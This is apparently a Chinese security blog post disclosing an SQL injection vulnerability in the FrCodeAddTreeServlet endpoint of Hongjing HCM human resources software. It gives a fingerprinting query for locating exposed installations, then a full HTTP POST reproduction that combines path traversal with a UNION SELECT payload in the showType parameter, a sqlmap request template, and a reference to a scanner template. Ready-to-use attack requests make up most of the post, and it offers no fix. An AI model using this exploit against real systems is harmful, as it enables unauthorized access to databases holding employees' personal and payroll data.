登录 白背景

宏景人力资源信息管理系统FrCodeAddTreeServlet存在SQL注入漏洞

一、漏洞简介

宏景人力资源信息管理系统是一款全面覆盖人力资源管理各模块的软件,旨在帮助企事业单位构建高绩效组织,推动组织健康成长,提升组织软实力。系统功能包括人员、组织机构、档案、合同、薪资、保险、绩效、考勤、招聘、培训、干部任免和人事流程等业务的管理,以及人事、绩效、培训、招聘、考勤等业务自助,还具备报表功能和灵活的表格工具,支持集团管控、目标管理、领导决策等应用。宏景人力资源信息管理系统FrCodeAddTreeServlet存在SQL注入漏洞,攻击者可通过该漏洞获取数据库敏感信息。

二、影响版本

  • 宏景人力资源信息管理系统

三、资产测绘

  • hunterapp.name="宏景 HCM"
  • 特征

image.png

四、漏洞复现

POST /templates/attestation/../../servlet/FrCodeAddTreeServlet HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Content-Length: 157
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Connection: close

params=&issuperuser=&parentid=&privType=&manageprive=&action=&target=&showType=1' UNION ALL SELECT 111*111,NULL,NULL,NULL,NULL,NULL-- fNwL&treetype=&orgtype=

image.png
sqlmap

POST /templates/attestation/../../servlet/FrCodeAddTreeServlet HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Content-Length: 157
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Connection: close

params=&issuperuser=&parentid=&privType=&manageprive=&action=&target=&showType=1&treetype=&orgtype=

image.png
宏景-ehr-hcm-frcodeaddtreeservlet-sql注入.yaml

原文: https://www.yuque.com/xiaokp7/ocvun2/uf70vy5awfvkrgis